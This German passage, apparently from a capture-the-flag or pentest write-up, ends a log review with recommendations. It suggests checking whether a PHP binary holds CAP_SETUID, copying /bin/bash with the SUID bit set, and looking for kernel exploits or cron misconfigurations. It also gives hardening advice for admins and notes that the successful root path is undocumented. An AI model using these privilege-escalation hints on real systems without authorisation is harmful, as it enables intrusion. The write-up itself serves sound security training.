**Empfehlung (Pentester):** Überprüfen, ob `/opt/phps/php8.2` tatsächlich `CAP_SETUID` hat (`getcap /opt/phps/php8.2`). Wenn ja, andere Payloads testen (z.B. Kopieren von `/bin/bash` und Setzen des SUID-Bits). Wenn nein, nach anderen Vektoren suchen (Kernel-Exploits, Fehlkonfigurationen, Cronjobs etc.). **Empfehlung (Admin):** Sicherstellen, dass keine Binaries unnötigerweise Capabilities wie `CAP_SETUID` besitzen. Den Pfad `/opt/phps` untersuchen und nicht benötigte PHP-Versionen entfernen.
Obwohl die aufgezeichnete Methode zur Privilege Escalation fehlschlug, wurden die Flags offenbar erlangt. Der exakte Weg zur Root-Shell nach dem Zugriff als `www-data` ist aus dem vorliegenden Log nicht ersichtlich.
Hinweis: Der exakte Pfad zur User-Flag wurde im Log nicht dokumentiert, ebenso wenig der erfolgreiche Schritt zur Root-Rechteerlangung.